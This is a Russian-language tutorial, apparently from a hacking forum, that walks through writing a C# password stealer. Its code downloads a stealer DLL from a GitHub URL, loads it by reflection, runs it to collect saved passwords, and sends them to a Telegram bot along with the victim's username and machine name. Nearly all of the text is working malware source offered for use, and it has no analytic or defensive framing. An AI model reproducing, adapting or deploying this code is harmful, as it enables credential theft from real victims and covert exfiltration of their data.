Спасибо за его я Будем юзать пространство имен
Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля
Функция GetLibrary будет скачивать байты дллки стиллера
C#:
public static byte[] GetLibrary()
{
byte[] dll = new byte[0];
string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
using (var client = new WebClient())
{
try {
dll = client.DownloadData(url);
} catch (WebException) {
Environment.Exit(1);
}
}
return dll;
}
Теперь напишем функцию GetPasswords которая
- принимает байты дллки
- загружает её
- вызывает функцию оттуда
- и возвращает пароли нам
C#:
public static string GetPasswords(byte[] dll)
{
// Загрузить дллку
Assembly asm = Assembly.Load(dll);
// Создать экземпляр
dynamic instance = Activator.CreateInstance(
asm.GetType("PasswordStealer.Stealer"));
// Получить функцию восстановления паролей из дллки
MethodInfo runMethod = instance.GetType().GetMethod("Run",
BindingFlags.Instance | BindingFlags.Public);
// Вызов метода восстановления паролей
string passwords = (string)runMethod.Invoke(
instance, new object[] { });
// Возвращаем пассы
return passwords;
}
Функция UploadReport будет отправлять пароли в телегу
C#:
public static bool UploadReport(string passwords)
{
string report = $"*New report*\n" +
$"*UserName:* {Environment.UserName}\n" +
$"*CompName:* {Environment.MachineName}\n\n" +
$"*Passwords:* \n{passwords}";
string telegram_api = "https://api.telegram.org/bot";
using (var client = new WebClient())
{
try
{
string response = client.DownloadString(
telegram_api + "<TOKEN>" +
"/sendMessage?chat_id=<CHAT_ID>"+
"&text=" + report +
"&disable_web_page_preview=True" +
"&parse_mode=Markdown"
);
return response.Contains("\"ok\":true,");
}
catch (WebException)
{
return false;
}
}
}
И главная функция
C#:
static void Main()
{
// Это надо для правильной отправки
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
| SecurityProtocolType.Tls11
| SecurityProtocolType.Tls12
| SecurityProtocolType.Ssl3;
byte[] dll = GetLibrary(); // Скачать байты dll
string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
UploadReport(pwd); // Отправляем пароли боту Telegram
}
Вот что получилось в конце:
